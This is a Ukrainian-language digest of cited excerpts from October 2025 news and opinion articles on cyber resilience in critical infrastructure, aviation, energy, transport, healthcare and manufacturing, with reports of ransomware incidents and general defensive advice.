У міру посилення загроз здатність протистояти атакам і відновлюватися після них — кіберстійкість — стала новим критерієм виживання. Загальне, готове програмне забезпечення виявляється недостатнім, створюючи «сліпі зони» і збільшуючи ризик залежності від ланцюжка поставок. Натомість експерти стверджують, що індивідуально розроблені системи є єдиним безпечним шляхом для критично важливих секторів, оскільки дозволяють «з самого початку» забезпечити безпеку та стійкість за допомогою багаторівневої системи захисту, адаптованої до реальних ризиків. З огляду на те, що в першому кварталі 2025 року кількість випадків використання програм-вимагачів у промислових умовах зросла на 46%, а попит на енергію у Великій Британії, за прогнозами, подвоїться, стійкість вважається стратегічною та економічною необхідністю, яка визначатиме, які підприємства виживуть і процвітатимуть». ***(Cybersecurity in a geopolitical world // News By Wire (https://newsbywire.com/cybersecurity-in-a-geopolitical-world/). 10.2025).***

***

«Перебої в роботі критичної інфраструктури, такі як нещодавні відключення електроенергії в Іспанії та Португалії, часто не дають слідчим можливості визначити першопричину — чи то проблема з технічним обслуговуванням, людська помилка чи навмисна кібератака — оскільки ці стратегічно важливі системи мають вкрай недостатнє оснащення з точки зору кібербезпеки. Хоча інформаційні технології (IT) привертають увагу, операційні технології (OT), які контролюють промислові системи, такі як електричні мережі та трубопроводи, часто залишаються поза увагою, незважаючи на те, що цифровізація та взаємопов'язаність значно розширили площу їхнього ураження…

Відсутність належного моніторингу OT означає, що в разі серйозного збою втрачаються тимчасові мережеві дані, що змушує команди реагування на інциденти покладатися на припущення та непереконливі докази. Неможливість своєчасно провести аналіз першопричин призводить до ланцюгових проблем, що перешкоджає безпечному відновленню активів, унеможливлює попередження інших операторів про поточні загрози та позбавляє організації можливості вчитися на помилках. Результатна неоднозначність створює серйозні наслідки для відповідальності та прозорості керівництва, впливаючи на інвесторів, страховиків та громадськість, часто ненавмисно порушуючи закони про розкриття інформації щодо критично важливих систем…

Мабуть, найнебезпечнішим наслідком є вплив на національну безпеку: противник, який проник до критичної інфраструктури, може діяти, приховуючи свої дії, проводячи таємні операції під виглядом звичайних технічних несправностей. Ця неоднозначність ускладнює політичні та стратегічні заходи реагування, стимулюючи подальшу агресію. Однак зміни вже відбуваються, про що свідчить затвердження Федеральною комісією з регулювання енергетики США (FERC) стандарту внутрішнього моніторингу безпеки мережі (INSM) (CIP-015-1), який зобов'язує здійснювати моніторинг внутрішнього мережевого трафіку в критичних середовищах операційних технологій (OT) електроенергетичних підприємств. Існуючі технології моніторингу OT забезпечують необхідну криміналістичну видимість, що робить для операторів, кіберзахисників, керівників та урядів надзвичайно важливим розглядати моніторинг OT як основну оперативну необхідність для захисту громад від ризиків для економіки, громадської безпеки та національної безпеки». ***(Robert M Lee. The dangerous blind spot in critical infrastructure cybersecurity // World Economic Forum (https://www.weforum.org/stories/2025/10/dangerous-blindspot-in-infrastructure-cybersecurity/). 13.10.2025).***

***

«Літо 2025 року показало, наскільки вразливою до кібератак стала авіація: після глобального збою в роботі IT-систем, спричиненого CrowdStrike в липні 2024 року, стався збій в роботі системи управління повітряним рухом у Лондоні та витік даних клієнтів американських авіакомпаній. Allianz зараз вважає кіберризики найбільшою загрозою для авіаційного сектору. Рекордні обсяги пасажиропотоку (наприклад, 270 000 пасажирів на день в аеропорту Хітроу) дають зловмисникам більше стимулів: авіакомпанії зберігають паспорти, платіжні дані та

маршрути, тому кожне порушення супроводжується спалахами викрадення даних, виведення з ладу систем продажу квитків та фішингу…

Наслідки виходять далеко за межі затримок на виході з терміналу — зупиняється робота, репутація падає, зростає кількість судових позовів і штрафів від регуляторних органів. Відразу після останніх збоїв у роботі з'явилися фішингові кампанії та підроблені домени, які використовували розгубленість мандрівників…

Ключові уроки для наступного пікового сезону

• Застосовуйте архітектуру Zero-Trust: ніколи не довіряйте жодному користувачеві чи пристрою; завжди перевіряйте.

• Використовуйте мікросегментацію, щоб обмежити дії зловмисників і забезпечити безперебійну роботу основних служб.

• Припускайте порушення безпеки: проектуйте мережі так, щоб компрометація була лише неприємністю, а не катастрофою.

• Зміцнюйте ланцюги постачання: перевіряйте партнерів, впроваджуйте багатофакторну автентифікацію, постійно контролюйте API, конфігурації хмарних сервісів і доступ сторонніх осіб.

• Забезпечте надійне резервне копіювання та відновлення всіх критично важливих активів, особливо хмарних…

Авіакомпанії, які впроваджують ці практики та розглядають кожен сплеск кількості пасажирів як реальне випробування, будуть найкраще підготовлені до забезпечення безперебійного перевезення пасажирів та безпеки даних у разі наступної кібернебезпеки». ***(Richard Meeus. Cyber resilience: how airlines can prevent the summer holiday from hell // Future US, Inc. (https://www.techradar.com/pro/cyber-resilience-how-airlines-can-prevent-the-summer-holiday-from-hell). 09.10.2025).***

***

«Традиційна безпека, орієнтована на периметр, вже не є достатньою для середовищ операційних технологій (OT), таких як заводи, нафтопереробні заводи, трубопроводи, залізничні системи та телекомунікаційні мережі. У моделі кіберзахисту, орієнтованій на готовність до порушень, організації припускають, що компрометація є неминучою, і створюють засоби контролю, які (1) передбачають атаки, (2) миттєво їх стримують і (3) швидко відновлюють роботу, щоб фізичні процеси продовжувалися без втрат життя, шкоди навколишньому середовищу або значних простоїв…

Індустрія 4.0/5.0 та конвергенція IT-OT розширили площу атаки: застарілі контролери не мають достатнього рівня безпеки, мережі є плоскими, а програми-вимагачі та державні суб'єкти тепер націлені на фізичні порушення. Регуляторний тиск (NIS2, NERC CIP, ISA/IEC 62443 тощо) зростає, проте багато заводів все ще працюють на застарілому програмному забезпеченні та з недостатньою кількістю персоналу…

Мікросегментація є основою готовності до порушення безпеки. Розділяючи мережу OT на невеликі «зони досконалості» з суворо дотримуваними правилами комунікації з мінімальними привілеями, вона:

• ізолює системи безпеки від іншого обладнання;

• запобігає поширенню атак, завдяки чому порушення залишається в межах одного мікропериметра;

• захищає PLC, RTU, сервери SCADA та інші кіберфізичні активи;

• зменшує кількість помилкових тривог і радіус ураження, скорочуючи час реагування з декількох днів до декількох хвилин;

• перетворює резервні копії, системи відмовостійкості та посібники з відновлення на ефективні засоби захисту, а не на джерела повторного зараження.

Реалізована у вигляді політик контролю (кольорове кодування трафіку, автоматична карантинізація тощо), мікросегментація дозволяє незачепленим зонам продовжувати роботу, поки команди реагування на інциденти усувають порушення. Тому це є критично важливим для кожного промислового оператора, який хоче дотримуватися вимог безпеки, підтримувати виробництво та захищати національну інфраструктуру в умовах безперервної кібератаки». ***(Agnidipta Sarkar. What is OT Breach Ready Cyber Defense? // Techstrong Group Inc. (https://securityboulevard.com/2025/10/what-is-ot-breach-ready-cyber-defense/). 14.10.2025).***

***

«Прем'єр-міністр Міхеал Мартін попередив парламент, що Ірландія повинна подолати «будь-яку боязкість» щодо ескалації загрози, яку Росія становить для її критично важливої підводної та цифрової інфраструктури, звинувативши деяких людей у тому, що вони «ховають голову в пісок». Мартін підтвердив, що Ірландія має «індивідуально розроблений план з НАТО» для вирішення питань кібербезпеки та безпеки підводних комунікацій, наголосивши на необхідності покращення можливостей через «блукання» російських кораблів і збір інформації про підводні інтернет-кабелі, які передають більшу частину трафіку між США та Європою…

Відповідаючи на питання про зростання ризику війни та збільшення кількості російських дронів і кібератак по всій Європі, прем'єр-міністр підкреслив, що кібербезпека та захист критичної інфраструктури не можуть бути досягнуті без співпраці з іншими. Ірландія повинна «координувати свої дії з іншими державами-членами ЄС» для обміну знаннями, досвідом та інформацією щодо кіберзагроз і рухів тіньового флоту. Така співпраця з НАТО та однодумними державами-членами є надзвичайно важливою для обміну знаннями, наставництва та навчання, щоб забезпечити цифрову безпеку Ірландії в нинішніх геополітичних умовах…» ***(Ireland has 'individually tailored plan with Nato' on sub-sea, cyber security // The Irish Times DAC (https://www.irishtimes.com/ireland/2025/10/14/ireland-has-individually-tailored-plan-with-nato-on-sub-sea-cyber-security/). 14.10.2025).***

***

«Сонячна енергія та системи зберігання енергії є основними джерелами для задоволення швидко зростаючого попиту на електроенергію, складаючи понад 82% нових потужностей енергомережі в 2024 році та першій половині 2025 року завдяки своїй низькій вартості та швидкому впровадженню. У міру того, як ці технології стають все більш інтегрованими, а енергомережа – все більш

цифровою, надійна кібербезпека має першочергове значення для захисту критично важливих енергетичних систем від все більш витончених загроз з боку держав, хактивістів та злочинних організацій, особливо з огляду на історичні випадки атак на критичну інфраструктуру з боку суб'єктів, пов'язаних з Китаєм, Росією та Іраном…

Асоціація сонячної енергетики (SEIA) очолює зусилля, спрямовані на забезпечення постійного впровадження найкращих практик у галузі, акцентуючи увагу на безпеці починаючи з етапу виробництва. Ключова вразливість походить від складних глобальних ланцюгів постачання, які спочатку не були розроблені з урахуванням безпеки, про що свідчать нещодавні занепокоєння щодо недокументованих комунікаційних пристроїв, які потенційно можуть бути виявлені в сонячних компонентах, що поставляються з Китаю. Для зменшення цих цифрових та геополітичних ризиків, повернення виробництва модулів, інверторів та батарей до Сполучених Штатів представлено як важливий захід для зменшення іноземного втручання та зміцнення енергетичної незалежності…

Основні заходи захисту кібербезпеки залишаються актуальними, включаючи зміну стандартних паролів, відокремлення критично важливих операційних технологій (OT) від корпоративних IT-мереж, забезпечення безпеки віддаленого доступу, а також впровадження та регулярне виконання планів реагування на інциденти. Зацікавлені сторони галузі співпрацюють з метою розробки нових ресурсів; наприклад, SEIA, NERC та DOE розробили комплексні рекомендації з безпеки для великих і розподілених ресурсів на основі сонячних інверторів, а Національна асоціація комісарів з регулювання комунальних послуг (NARUC) та DOE встановлюють базові вимоги до кібербезпеки для систем розподілу електроенергії. SEIA стверджує, що забезпечення безпеки цієї критичної інфраструктури є колективною відповідальністю, і в грудні проводить віртуальний симпозіум для поширення ключових ідей та практик, спрямованих на забезпечення стійкості та безпеки сонячної енергетики та енергозберігаючої галузі». ***(Solar & Storage Succeed When Cybersecurity Leads // CleanTechnica (https://cleantechnica.com/2025/10/16/solar-storage-succeed-when-cybersecurity-leads/). 16.10.2025).***

***

«OPSWAT, глобальна компанія з кібербезпеки зі штаб-квартирою в США, офіційно відкрила Лабораторію захисту критичної інфраструктури () у Веспремі, що стало першим в Угорщині центром, присвяченим кібербезпеці критичної інфраструктури. Нова багатофункціональна лабораторія, розташована поруч із існуючим офісом OPSWAT у Веспремі, де працює приблизно 100 фахівців, має на меті розробку, тестування та навчання з питань передових рішень у галузі безпеки шляхом безпечного моделювання реальних промислових систем у секторах енергетики, транспорту, водопостачання та охорони здоров'я… Центр, призначений як спільний простір для інженерів, дослідників та студентів, пропонує візуально привабливі демонстрації для професіоналів, студентів університетів, клієнтів та партнерів. Засновник і генеральний директор Бенні Царни вибрав Веспрем як регіональну базу завдяки його репутації інноваційного міста, а мер Дьюла Порга

підкреслив важливість висококваліфікованих робочих місць, що базуються на знаннях, для майбутнього міста. CIP Lab буде тісно співпрацювати з вітчизняними та міжнародними університетами та промисловими гравцями, сприяючи тестуванню рішень з кібербезпеки в умовах, близьких до реальних, тим самим підтримуючи як глобальну місію OPSWAT, так і розвиток угорської екосистеми кібербезпеки…» ***(OPSWAT Opens Hungary's First Critical Infrastructure Cyber Lab // HungaryToday (https://hungarytoday.hu/opswat-opens-hungarys-first-critical-infrastructure-cyber-lab/). 17.10.2025).***

***

«…Аеропорти по всьому світу відчувають все більший тиск з метою підвищення кіберстійкості через різке збільшення кількості державних нормативних актів, спрямованих на критичну інфраструктуру, починаючи з 2022 року. Юрисдикції, включаючи США (через директиви TSA), Австралію та ЄС (через NIS2), запровадили комплексні заходи, що вимагають від аеропортів створення програм кіберризиків, впровадження суворих термінів повідомлення про інциденти, ізоляції критичних систем та забезпечення надійного контролю безпеки ланцюгів постачання. Ці зобов'язання, відображені в майбутньому законопроекті Великобританії про кібербезпеку та стійкість, часто поширюються на менші аеропорти та передбачають більш суворі штрафи за невиконання вимог…

Цей регуляторний імпульс, підкріплений міжнародними авіаційними органами, підкреслює посилення занепокоєння щодо загроз, спрямованих на операційні технології (OT) та складні ланцюги постачання. Кібернетичні оцінки, проведені AtkinsRéalis, показують, що багато аеропортів все ще мають труднощі з ідентифікацією справді «критичних» систем, часто через історичну зосередженість на IT та схильність ігнорувати OT-системи, які є глибоко вбудованими і іноді мають десятиліття історії. Ці застарілі системи часто не мають сучасних функцій безпеки, актуальної документації та спеціалізованих знань, а проблема посилюється втратою внутрішнього персоналу після COVID-19 та потенційним припиненням діяльності постачальників.

Цей контекст ставить аеропорти перед дорогим вибором: або замінити величезну інфраструктуру, або зменшити ризики за допомогою таких заходів контролю, як обмеження фізичного доступу та посилення реагування на інциденти. Крім того, перенесення IT-орієнтованих підходів до безпеки, таких як часте встановлення виправлень, на високодоступні OT-середовища часто закінчується невдачею через унікальні експлуатаційні вимоги OT…

Ці виклики створюють кілька повторюваних ризиків, включаючи обмежену видимість активів, нечіткі межі мережі, що дозволяють зловмисникам переміщатися в бічному напрямку, та вразливість ланцюга поставок через застарілі контракти. Наслідки порушення безпеки є серйозними і можуть призвести до широкомасштабних збоїв, таких як зупинка руху багажу або вимкнення вогнів злітної смуги, як це було під час атаки на міжнародний аеропорт Сіетл-Такома в 2024 році, що спричинило сотні затримок.

Щоб проактивно реагувати на ці загрози та регуляторні вимоги, аеропорти повинні застосовувати інтегрований підхід «системи систем» замість того, щоб

зосереджуватися на окремих активах, що дозволить їм комплексно ідентифікувати та управляти спільними ризиками у всій своїй власності. Це вимагає розробки надійної стратегії безпеки ОТ поряд з ІТ-структурами, що забезпечить узгодженість з урахуванням особливостей кожної галузі. Важливо, що аеропорти повинні управляти ланцюгом поставок протягом усього життєвого циклу активів та інвестувати в підвищення кваліфікації операційних та ІТ-команд, щоб подолати прогалини в знаннях, тим самим сприяючи розвитку культури кіберстійкості, зменшуючи регуляторні ризики та забезпечуючи безперебійність роботи». ***(Natalie Forrestill. Navigating cyber threats // Airport World Ltd. (https://airport-world.com/navigating-cyber-threats/). 20.10.2025).***

***

«Швидка цифровізація світової авіації, спричинена автоматизацією, Інтернетом речей та штучним інтелектом, розширила площу для кібератак на галузь, у той час як обсяги пасажирських та вантажних перевезень зростають і до 2030 року досягнуть 12 мільярдів пасажирів та 23 мільярдів тонн-кілометрів вантажів. Зловмисники усвідомлюють залежність сектора від безперебійної роботи і використовують авіакомпанії, аеропорти та їхні ланцюги постачання послуг з метою вимагання викупу, фішингу/втоми від багатофакторної аутентифікації, крадіжки облікових даних інсайдерів, вторгнень в операційні технології та глушіння/підробки GPS-сигналів. Останні випадки включають збій програм-вимагачів у Qantas, SpiceJet та Swissport, збій реєстрації в Collins Aerospace, крадіжки даних часто літаючих пасажирів та перешкоди GNSS, що змусили змінити маршрути польотів в Європі…

Регулюючі органи відреагували на це низкою міжнародних стандартів і мандатів: ISO 27001, NIST CSF 2.0, Стратегія кібербезпеки в авіації ІКАО, посібник з сертифікації літаків DO-326A/ED-202A та спільні директиви FAA/EASA з кібербезпеки; американська TSA тепер вимагає від критично важливих операторів подавати плани впровадження моделі нульової довіри. Основними принципами безпеки для цього сектору є архітектура нульової довіри, сегментація ОТ/ІТ, постійний моніторинг та міжгалузевий обмін інформацією через ISAC.

Для посилення захисту авіаційні організації повинні включити кіберризики в систему корпоративного управління (принципи DoCRA), регулярно проводити оцінку прогалин з постійним моніторингом контролю, впроваджувати засоби виявлення кінцевих точок, управління виправленнями та ізоляції браузерів, а також мікросегментувати операційні мережі для запобігання поперечному переміщенню. Важливе значення мають надійне управління ідентифікацією, багатофакторна автентифікація, доступ з мінімальними привілеями та захист нелюдських ідентичностей, а також навчання співробітників протидії соціальній інженерії. У контрактах з постачальниками повинні бути передбачені стандарти безпеки та швидке повідомлення про порушення, а оператори повинні брати участь в обміні інформацією про загрози в галузі. Для протидії перешкодам навігації аеропорти відновлюють альтернативні радіосистеми, такі як DME…

Завдяки узгодженню заходів контролю з визнаними рамками, впровадженню принципів нульової довіри, посиленню готовності до атак програм-вимагачів та

підтримці спільного обміну інформацією авіакомпанії, аеропорти та постачальники можуть зменшити ймовірність та вплив кіберінцидентів і забезпечити безпеку та стійкість глобальної авіаційної мережі». ***(Top Cyber Threats in the Aviation Sector // HALOCK (https://www.halock.com/top-cyber-threats-in-the-aviation-sector/). 10.2025).***

***

«Підсектори автомобільних перевезень та морських перевезень, які разом складають основу ланцюга поставок США та забезпечують 90% обсягу світової торгівлі, є невід'ємною частиною національної безпеки і все більше залежать від цифрової трансформації, автоматизації та систем Інтернету речей. Однак така модернізація створює серйозні кіберзагрози, які можуть спричинити ланцюгові порушення, такі як атаки програм-вимагачів, соціальна інженерія, порушення ланцюга поставок та блокування GPS, як показано у вигаданій операції «Phantom Detour», в якій для здійснення скоординованого логістичного пограбування були використані експлуатовані датчики руху та цифрові маніпуляції…

Реальні інциденти підтверджують ці ризики: компанія Expeditors International зазнала серйозних операційних зупинок через програмне забезпечення-вимагач, в результаті порушення безпеки в порту Сіетла були викрадені дані клієнтів, а атака NotPetya паралізувала діяльність компанії Maersk і портів по всьому світу, підкресливши ризики, пов'язані з третіми сторонами. До додаткових загроз належать підробка GPS-сигналів (використовується для викрадення вантажів, таких як елітна текіла, або порушення морської навігації) та внутрішні загрози/зловживання обліковими даними, що призводить до рекордних крадіжок вантажів…

Щоб зменшити ці зростаючі ризики, сектор керується міжнародними та внутрішніми рамками, включаючи ISO 27001, Рамку кібербезпеки NIST та Керівні принципи IMO з управління морськими кіберризиками. Основні стратегії захисту, рекомендовані для учасників сектору, включають:

Zero Trust та OT-сегментація: Впровадження цих архітектур є надзвичайно важливим для запобігання поширенню шкідливого програмного забезпечення та обмеження поширення атак між IT-системами та системами операційних технологій (OT).

Посилений захист: Забезпечення надійного захисту від програм-вимагачів за допомогою EDR, оцінок безпеки, постійного моніторингу контролю та частих тестувань із симуляцією атак.

Навчання співробітників: постійне інформування та навчання співробітників щодо соціальної інженерії, найпростішого та найуспішнішого методу атак.

Співпраця: активне використання інформації про загрози, що надається через центри обміну та аналізу інформації (ISAC), такі як MTS-ISAC та ST-ISAC…

Застосовуючи підхід, заснований на оцінці ризиків, зосереджуючись на інтегрованому управлінні IT та постійно перевіряючи свої засоби контролю на відповідність прийнятим стандартам, транспортні організації можуть сформувати необхідну стійкість для захисту критичної інфраструктури та збереження цілісності глобального ланцюга поставок». ***(Top Cyber Threats in Highway Motor Carrier and***

Maritime Transportation Systems Sub-sectors // HALOCK (https://www.halock.com/top-cyber-threats-in-highway-motor-carrier-and-maritime-transportation-systems-sub-sectors/). 10.2025).

***

Кіберзахист закладів охорони здоров'я

«…Медичний центр Ассаф Харофе (також відомий як Медичний центр Шамір, Ізраїль) у місті Бір-Яаков став об'єктом кібератаки під час свята Йом Кіпур, згідно із спільною заявою лікарні, Міністерства охорони здоров'я та Національного кіберуправління, які розслідують, чи відбувся витік даних. Хоча влада стверджує, що атака була «блокована на початковій стадії», російськомовна кіберзлочинна організація Qilin нібито вимагала викуп у розмірі 700 000 доларів, щоб запобігти оприлюдненню викрадених даних пацієнтів…

Згідно з повідомленнями, атака на короткий час вивела з ладу систему медичних записів, яка використовується лікарнями по всьому Ізраїлю, хоча основна діяльність Assaf Harofeh продовжувалася без перебоїв і повернулася до нормального режиму. Qilin, східноєвропейська група, яка раніше була пов'язана з атакою на лондонські лікарні, заявила, що проникла в лікарню Шамір і викрала приблизно 8 терабайт конфіденційних даних, включаючи записи про пацієнтів, внутрішню комунікацію та важливу оперативну інформацію. У публікації на сайті Ynet хакери погрожували негайним оприлюдненням даних, які, за повідомленнями, містять записи про відвідування пацієнтів та виписані рецепти, якщо викуп не буде сплачено протягом трьох днів, що спричинить «непоправної шкоди» та порушить конфіденційність пацієнтів. У листі з вимогою викупу також містилося чітке попередження лікарні не залучати правоохоронні органи, а також, за повідомленнями, додаткова згадка про прем'єр-міністра Беньяміна Нетаньяху та його дружину, «Бібі та Сару». ***(ToI Staff. Leak of patient records feared as Israeli hospital hit by cyberattack demanding ransom // The Times of Israel (https://www.timesofisrael.com/leak-of-patient-records-feared-as-israeli-hospital-hit-by-cyberattack-demanding-ransom/). 02.10.2025).***

***

«Гігант у сфері охорони здоров'я Henry Schein підтвердив інцидент з кібербезпекою у своїй дочірній компанії TriMed після того, як пов'язана з Росією кіберзлочинна банда Lynx заявила про атаку з використанням програм-вимагачів і витік конфіденційних даних у даркнет. Henry Schein, великий дистриб'ютор медичних товарів, який раніше вже ставав мішенню атак (зокрема, у 2023 році на нього було скоєно атаку з використанням програм-вимагачів ALPHV/BlackCat), заявив, що TriMed працює незалежно і вважає, що його основні системи не постраждали…

Банда Lynx, яка діє як Ransomware-as-a-Service (RaaS) і з середини 2024 року активно атакує різні сектори по всьому світу, заявила, що злом стався через недостатній рівень IT-безпеки компанії. Дослідники, які вивчали зразки даних,

оприлюднені Lynx, виявили широкий спектр надзвичайно конфіденційних файлів, зокрема листування керівництва з деталями фінансових операцій на мільйони доларів із видимими банківськими реквізитами, особисті документи, такі як водійські посвідчення та паспорти, а також цінну інтелектуальну власність, наприклад, запатентовані конструкції хірургічних виробів TriMed. Ці викрадені дані свідчать про те, що Lynx, ймовірно, мала тривалий доступ до них, що дозволило їй максимально використати їх для вимагання та створити значний ризик для кампаній spear-phishing проти керівництва.

Після виявлення цього факту компанія TriMed відключила певні системи, вжила запобіжних заходів та залучила зовнішніх фахівців з кібербезпеки. Компанія визнає, що є докази, які вказують на те, що деяка інформація TriMed могла бути задіяна, але заявляє, що оцінка масштабів триває...» ***(Paulina Okunytė. Henry Schein subsidiary confirms ransomware attack // Cybernews (https://cybernews.com/security/lynx-ransomware-trimed-henry-schein/). 03.10.2025).***

***

«…Кібератаки на організації охорони здоров'я набувають все більшого розмаху: згідно з останнім дослідженням Proofpoint і Ponemon, 93% постачальників медичних послуг зазнали принаймні однієї атаки протягом останнього року, що в середньому становить 43 інциденти на організацію. Таке зростання кіберзагроз становить серйозний клінічний ризик, оскільки безпека пацієнтів «невіддільна від кібербезпеки»…

Згідно з доповіддю, 72% організацій, які зазнали типових атак, включаючи програми-вимагачі, компрометацію хмарних сервісів та компрометацію ділової електронної пошти, зазнали перебоїв у наданні медичної допомоги пацієнтам, що є збільшенням порівняно з попереднім роком. Ці перебої призводять до збільшення медичних ускладнень, подовження терміну перебування пацієнтів у лікарні, затримок у проведенні процедур та підвищення рівня смертності. Хоча середня вартість найзначнішої атаки дещо зменшилася до 3,9 млн доларів, перебої в роботі залишаються найдорожчим наслідком. Крім того, порушення безпеки даних призводить до витоку конфіденційної інформації про пацієнтів, що спричиняє дорогі колективні позови…

Загрозу посилює прискорення переходу галузі до клінічних систем, що розміщуються в хмарі: 75% респондентів планують або вже переносять клінічні операції в хмару, що підкреслює нагальність вирішення проблеми ризиків порушення безпеки хмари. Однак основною причиною частих порушень є людська помилка: 35% респондентів вказали, що співробітники не дотримуються політик або зловживають привілейованим доступом.

Хоча системи охорони здоров'я збільшують свої бюджети на IT (виділяючи 21% від середнього бюджету в 65 мільйонів доларів на інформаційну безпеку), отримані результати слугують «сигналом тривоги». Експерти наголошують на нагальній потребі в підході до кібербезпеки, орієнтованому на людину, який враховує такі людські фактори, як недбалість, і передбачає регулярне навчання співробітників, а також зменшує занепокоєння щодо нових технологій, таких як незахищені мобільні додатки та генеративна штучна інтелігенція…» ***(Lauren Giella.***

Cybersecurity Study Shows Patient Care at Risk of Attacks // Newsweek Digital LLC (https://www.newsweek.com/cybersecurity-study-shows-patient-care-risk-of-attacks-access-health-10890966). 16.10.2025).

***

«Згідно з доповіддю Omega Systems «2025 Healthcare IT Landscape Report», багато лікарень, клінік та мереж медичних закладів продовжують небезпечно ставитися до кібербезпеки як до другорядної проблеми, часто відсуваючи її на другий план через інші нагальні потреби, такі як зростання витрат та нові правила щодо конфіденційності. Таке мислення зберігається, незважаючи на те, що успішна кібератака, яка часто проявляється у вигляді фішингу, програм-вимагачів або компрометації ділової електронної пошти, може зупинити клінічні робочі процеси, перервати лікування пацієнтів і порушити закони про конфіденційність, підкреслюючи, що майже вся сучасна охорона здоров'я залежить від безпечних цифрових систем… Хоча дві третини керівників заявляють про впевненість у захисті від сучасних загроз, аналіз показує, що цей оптимізм часто перевищує реальні можливості; багато організацій покладаються на застарілі системи, не мають офіційних планів реагування на інциденти та страждають від недостатньої підготовки співробітників і нестачі IT-персоналу. Крім того, хоча організації заявляють про готовність до нових вимог HIPAA (Health Insurance Portability and Accountability Act), управління дотриманням мінливих нормативних вимог залишається серйозним викликом, особливо для невеликих постачальників, які стикаються з проблемами ручних процесів і непослідовного використання основних засобів захисту, таких як шифрування… У звіті підкреслюється, що організації, які співпрацюють з постачальниками керованих послуг безпеки (MSSP), демонструють кращу стійкість, швидше виявляють загрози та виявляють більшу готовність до дотримання вимог, використовуючи зовнішній досвід для заповнення внутрішніх прогалин у навичках. Зрештою, Omega Systems наголошує, що кібербезпека фундаментально пов'язана з безпекою пацієнтів і повинна бути інтегрована в основну бізнес-стратегію, закликаючи керівників галузі охорони здоров'я розглядати безпеку як критично важливу інвестицію, а не як витрати, щоб уникнути порушення роботи системи та зберегти довіру пацієнтів». ***(Anamarija Pogorelec. Inside healthcare's quiet cybersecurity breakdown // Help Net Security (https://www.helpnetsecurity.com/2025/10/17/healthcare-organizations-cyber-attacks-reality-report/). 17.10.2025).***

***

Кіберзахист виробничої сфери

«…Виробництво стало улюбленою мішенню кіберзлочинців. Нетерпимість цього сектора до простоїв, розгалужені ланцюги поставок і багаті запаси інтелектуальної власності роблять його надзвичайно привабливим для зловмисників, які зараз поєднують технічні експлойти, крадіжку облікових даних і тривале приховування. Останні дані IBM щодо

реагування на інциденти показують, що виробники зазнали 26% усіх розслідуваних порушень у всьому світі — і 40% в Азіатсько-Тихоокеанському регіоні — причому хакери найчастіше проникають через незахищені додатки, викрадені облікові записи або служби віддаленого доступу, а потім переходять до захоплення серверів або використання програм-вимагачів… Verizon чітко підкреслює різке зростання: підтверджені порушення у виробництві зросли на 89% цього року, і понад 90% жертв мають менше ніж 1000 співробітників. Кожне п'яте вторгнення зараз пов'язане зі шпигунством, що свідчить про інтерес до власних розробок і комерційних таємниць, а використання шкідливого програмного забезпечення в цих атаках зросло з 50% до 66%, оскільки зловмисники віддають перевагу складним кампаніям «вторгнення в систему»…

Приклади, такі як група RomCom, яка використовувала уразливість нульового дня в WinRAR для таємного викрадення інформації, та порушення безпеки Clorox, спричинене єдиною атакою типу «вішинг», підкреслюють багаторівневий та складний характер загроз…

Найкращі практики гігієни — багатофакторна автентифікація, швидке виправлення, шифрування — залишаються важливими, але вже не є достатніми самі по собі. Виробникам також потрібні цілодобове виявлення загроз, швидке локалізування та експертиза з криміналістики. Великі підприємства можуть створити внутрішній SOC з розширеними інструментами виявлення та реагування, але для малих і середніх компаній, які складають більшість останніх жертв, аутсорсинг до постачальника послуг з керованого виявлення та реагування (MDR) часто є найшвидшим і найекономічнішим шляхом до стійкості. MDR забезпечує цілодобовий моніторинг, проактивне виявлення загроз, відпрацьовані сценарії ізоляції атак до того, як вони паралізують виробництво, а також інформацію, яка зміцнює захист від майбутніх вторгнень — і все це без капітальних витрат і кадрового навантаження, пов'язаних із самостійно побудованим SOC. У ситуації, коли кожна секунда має значення, а кожна зупинка конвеєра відбивається на глобальних ланцюгах поставок, MDR може стати вирішальним фактором між незначним інцидентом безпеки та катастрофою, що коштує мільйони доларів…» ***(Phil Muncaster. Manufacturing under fire: Strengthening cyber-defenses amid surging threats // ESET (https://www.welivesecurity.com/en/business-security/manufacturing-fire-strengthening-cyber-defenses-surging-threats/). 03.10.2025).***

***

«Промисловий сектор, особливо виробництво, стикається з серйозною загрозою кіберзлочинності, про що свідчить найвищий ріст витрат на порушення безпеки даних серед усіх галузей промисловості, який становить в середньому 830 000 доларів США в річному вимірі. Цей тривожний дзвінок лунає все голосніше, оскільки цифрова конвергенція інформаційних технологій (IT) та операційних технологій (OT) розширює площу атаки; кожен датчик, контролер та привід із змінною швидкістю (VSD) є потенційною точкою входу для зловмисників…

Справжня стійкість у цьому середовищі вимагає виходу за межі периметральної оборони, такої як брандмауери, для вбудовування безпеки на рівні пристроїв. Промислові VSD є прикладом такої потреби, оскільки їх часто не беруть до уваги, але вони знаходяться на критичному перетині цифрового та фізичного контролю. Перехід до обладнання «безпечного за конструкцією», яке включає в себе засоби захисту з самого початку, є необхідним для того, щоб ці пристрої стали першою лінією оборони проти зловживань, які можуть призвести до зупинки виробництва або пошкодження обладнання.

Найбільший ризик існує в критично важливих інфраструктурних об'єктах, таких як системи водопостачання або електропостачання, де кібератаки можуть становити серйозну загрозу для навколишнього середовища або здоров'я людей і призвести до відновлення, яке може тривати місяці або роки. Однак жоден сектор не є безпечним, оскільки зловмисники мотивовані як конкретними цілями в галузі, так і простою можливістю. Дуже важливо розвіяти міф про «100-відсотково безпечні» системи; організації повинні прийняти той факт, що залишковий ризик завжди існує. Тому кібербезпека є дисципліною, орієнтованою на бізнес і зосередженою на пропорційності, де рішення збалансовують витрати на зменшення загроз з потенційними витратами від інциденту, такими як години простою обладнання або широкомасштабні перебої в роботі комунальних служб…

Окрім технічних заходів, людський фактор залишається критично слабким місцем, оскільки багато порушень починаються з простих тактик соціального інжинірингу, таких як фішинг. Формування культури стійкості за допомогою обов'язкових, повторюваних тренінгів та симуляцій є настільки ж важливим, як і розробка надійних систем. Крім того, організації стикаються з постійно мінливою ціллю, що вимагає постійної адаптації до нових тактик атак та посилення нормативних вимог, таких як майбутній Закон ЄС про кіберстійкість, який зобов'язує виробників усувати вразливості протягом усього життєвого циклу пристрою. В кінцевому рахунку, стійкість всієї системи залежить від захисту навіть найменш помітних активів, оскільки зловмиснику достатньо лише однієї відкритої двері». ***(Patrik Tikka. Comment: Every device matters in industrial cybersecurity // Mark Allen Group (https://www.theengineer.co.uk/content/opinion/every-device-matters-in-industrial-cybersecurity). 20.10.2025).***

***

Захист персональних даних та соціальні мережі

